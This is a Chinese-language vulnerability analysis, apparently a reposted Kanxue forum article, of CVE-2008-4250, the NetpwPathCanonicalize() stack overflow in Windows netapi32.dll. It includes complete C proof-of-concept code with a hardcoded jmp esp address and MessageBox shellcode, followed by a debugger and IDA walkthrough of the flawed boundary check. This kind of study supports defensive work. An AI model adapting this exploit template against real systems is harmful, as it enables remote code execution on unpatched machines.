CVE-2008-4250 netapi32.dll组件函数NetpwPathCanonicalize()溢出问题
2021-03-12 18:58:00 Author: mp.weixin.qq.com(查看原文) 阅读量:149 收藏

本文为看雪论坛精华文章

看雪论坛作者ID:天象独行

一、漏洞信息


1. 漏洞简述

  • 漏洞编号:(CVE-2008-4250)
  • 漏洞类型:(远程执行代码)
  • 漏洞影响:(远程代码执行、信息泄露等)
  • CVSS评分:(以CVSS 3.0为准(一般分数较高),或者2者都备注)
  • 利用难度:Medium
  • 基础权限:不需要(是否需要普通用户权限)

2. 组件概述

netapi32.dll是Windows网络应用程序接口,用于支持访问微软网络。

3. 漏洞利用

#include <stdio.h>#include <windows.h>typedef void (*MYPROC) (LPWSTR, ...); char ShellCode[] = "\x33\xDB" // xor ebx,ebx "\xB7\x06" // mov bh,6 "\x2B\xE3" // sub esp,ebx "\x33\xDB" // xor ebx,ebx "\x53" // push ebx "\x68\xB9\xFE\xB9\xFE" // push "哈哈" "\x8B\xC4" // mov eax,esp "\x53" // push ebx "\x68\xC0\xCF\xBD\xAA" "\x68\x20\x62\x79\x3A" "\x68\xC4\xF1\xA1\xA3" "\x68\xCE\xC5\xCC\xE4" "\x68\xB4\xA6\xB4\xA6" "\x68\xCF\xFE\xA3\xAC" "\x68\xB2\xBB\xBE\xF5" "\x68\xB4\xBA\xC3\xDF" // push "春眠不觉晓,处处闻啼鸟。by:老姜" "\x8B\xCC" // mov ecx,esp "\x53" // push ebx "\x50" // push eax "\x51" // push ecx "\x53" // push ebx "\xB8\xea\x07\xd5\x77" "\xFF\xD0" // call MessageBox "\x53" "\xB8\xFA\xCA\x81\x7C" "\xFF\xD0"; // call ExitProcess int main(){ // 设置第二段路径字符串的长度为0x256 WCHAR arg_0[256]; // 设置用于接收格式化后的字符串的缓冲区空间为0x256 WCHAR arg_4[256]; // 表明arg_4的大小,设置和arg_4的缓冲区大小一致即可 int arg_8 = 0x420; long arg_10 = 1; // 加载netapi32.dll函数 HINSTANCE libHandle = LoadLibrary(".\\netapi32.dll"); // 获取函数NetpwPathCanonicalize()的地址 MYPROC funcAddr = (MYPROC)GetProcAddress(libHandle, "NetpwPathCanonicalize"); // 验证是否获取成功,不成功则释放掉句柄资源 if ( libHandle == 0 || funcAddr == 0 ) { MessageBox(0, "Load error!", "Warning", 0); FreeLibrary(libHandle); return 0; } // 初始化字符数组内容 arg_0[0] = 0; arg_4[0] = 0; // 实现溢出的路径字符串 wcscpy(arg_0, L"\\A\\..\\..\\BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"); // jmp esp wcscat(arg_0, (const unsigned short *)"\x79\x5b\xe3\x77"); // 植入shellcode代码 wcscat(arg_0, (const unsigned short *)ShellCode); // 调用NetpwPathCanonicalize()函数 (funcAddr)(arg_0, arg_4, arg_8, NULL, &arg_10, 0); // 释放句柄资源 FreeLibrary(libHandle); // 返回 return 0;}


二、漏洞复现

1. 环境搭建

  • Windows XP SP3
  • VC 6.0++

  • OD

2. 复现过程

我们首先使用如下代码做一个简单的测试:
#include <stdio.h>#include <windows.h>typedef void (*MYPROC) (LPWSTR, ...); int main(){ // 设置第二段路径字符串的长度为0x256 WCHAR arg_0[256]; // 设置用于接收格式化后的字符串的缓冲区空间为0x256 WCHAR arg_4[256]; // 表明arg_4的大小,设置和arg_4的缓冲区大小一致即可 int arg_8 = 0x420; long arg_10 = 1; // 加载netapi32.dll函数 HINSTANCE libHandle = LoadLibrary(".\\netapi32.dll"); // 获取函数NetpwPathCanonicalize()的地址 MYPROC funcAddr = (MYPROC)GetProcAddress(libHandle, "NetpwPathCanonicalize"); // 验证是否获取成功,不成功则释放掉句柄资源 if ( libHandle == 0 || funcAddr == 0 ) { MessageBox(0, "Load error!", "Warning", 0); FreeLibrary(libHandle); return 0; } // 初始化字符数组内容 arg_0[0] = 0; arg_4[0] = 0; // 实现溢出的路径字符串 wcscpy(arg_0, L"\\A\\..\\..\\BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"); // 调用NetpwPathCanonicalize()函数 (funcAddr)(arg_0, arg_4, arg_8, NULL, &arg_10, 0); // 释放句柄资源 FreeLibrary(libHandle); // 返回 return 0;}

接下来,我们通过OD去打开编译好的程序,将程序执行到"LoadLibraryA"以后,用来加载动态链接库NETAPI32.DLL。
我们在"静态分析"的IDA分析中知道,出现问题的是wcscpy函数,且地址为"5FDDA2F3"那么我们直接跳过来。既然我们需要溢出,那么需要注意返回地址的位置。
下面我们着重关注一下,我们知道,在wcscpy函数之前的push 指令,真是传参。且"eax"为源地址,"edi"为目的地址。
我们来在内存中查看一下,并且确认一下边界值。
下面,我们执行完成wcscpy,这个时候我们发现已经被"简化"完成了。
我们继续单步执行,直到出现如下图位置,该位置是执行edi减2操作,因为是宽字节,所以减2向前推进。
在执行完"edi-0x2"并且将值存储到eax当中,紧接着在判断是否越界的时候,使用了cmp指令。这就意味着你的EAX值只有在等于边界值的情况才会判断不会继续向前检索且停住简化。关键是,执行完成之后eax=12f6c2< 边界值。这样的情况,是不会停止“简化”操作的。
我们继续执行代码,如下位置,代码再次发现了"\",与是停下来,准备"简化"操作。
我们定位到内存,了解到如下区域将会被覆盖
成功定位到覆盖区域之后,我们最终需要控制的是wcscpy这个位置的返回地址,在如下图位置找到。地址为"0X12f688"
接下来我们是需要在"简化"的过程中控制地址“12F688”的内容即可。首先我们知道缓存区的起始位置为“0X12F5A6”,详细覆盖方案如下:
效果如下:

三、漏洞分析


1. 基本信息

  • 漏洞文件:NETAPI32.DLL

  • 漏洞函数:sub_5fdda268

2. 背景知识

了解汇编语言,使用IDA。

3. 详细分析

(1)静态分析

    
通过IDA打开netapi32.dll,并且定位到NetpwPathCanonicalize函数当中。且该函数当中存在一个子函数sub_5FDDA180。它的作用是规范化路径字符串。溢出函数即存在当中。
点击进入当中,我们来分析一下这个函数:
    
(1.1)首先我们先是进行基本的内容查看。详细如下图:
1.2 基本的环境初始化结束之后,首先是进行判断是否为"\"。下面的图片当中,展现了定位"\"。
1.3 接下来是判断“.”详细如下图:
    
1.4 判断完成之后,进行简化操作。主要实现简化操作使用的wcscpy函数。下面是分析如何产生溢出漏洞。详细看,在执行完wcscpy函数(简化操作)之后。判断是否等于边界值(即输入参数的起始位置)。如果等于则关闭“简化”操作。如果小于,大于,则继续“简化”操作。问题点就在于此。详细如下图:
1.5 这样会造成什么样的情况呢?在“非正常简化”的情况下,我们的返回地址成功的被覆盖了。我们来通过下图感受一下:

攻击链分析

    
接下来,我们来定位到sub_5FDDA26B。我们发现其中压入的参数为[ebp+Dest]。

    
继续向上看,我们发现参数[ebp+Dest]的值来自寄存器ebx,eax的拼接。
ebp的值来源函数sub_5FDDA180的第二个参数。且对应着NetpwPathCanonicalize函数第一个参数。

该漏洞出现原因是在进行"简化"操作的时候,忽略了简化的位置与目录边界的比较,不仅仅是相等就才会停止。

参考文献

实战CVE漏洞分析与防范
https://bbs.pediy.com/thread-261391.htm

- End -

看雪ID:天象独行

https://bbs.pediy.com/user-home-911429.htm

  *本文由看雪论坛 天象独行 原创,转载请注明来自看雪社区。

# 往期推荐

公众号ID:ikanxue
官方微博:看雪安全
商务合作:[email protected]

球分享

球点赞

球在看

点击“阅读原文”,了解更多!


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458382465&idx=1&sn=cdb057d09418441f2f4cca981176fa81&chksm=b180c00b86f7491d4e4f17c759b37ebf145b830efabbdb8d8cf50c79f691296723986cbb7e80#rd
如有侵权请联系:admin#unsafe.sh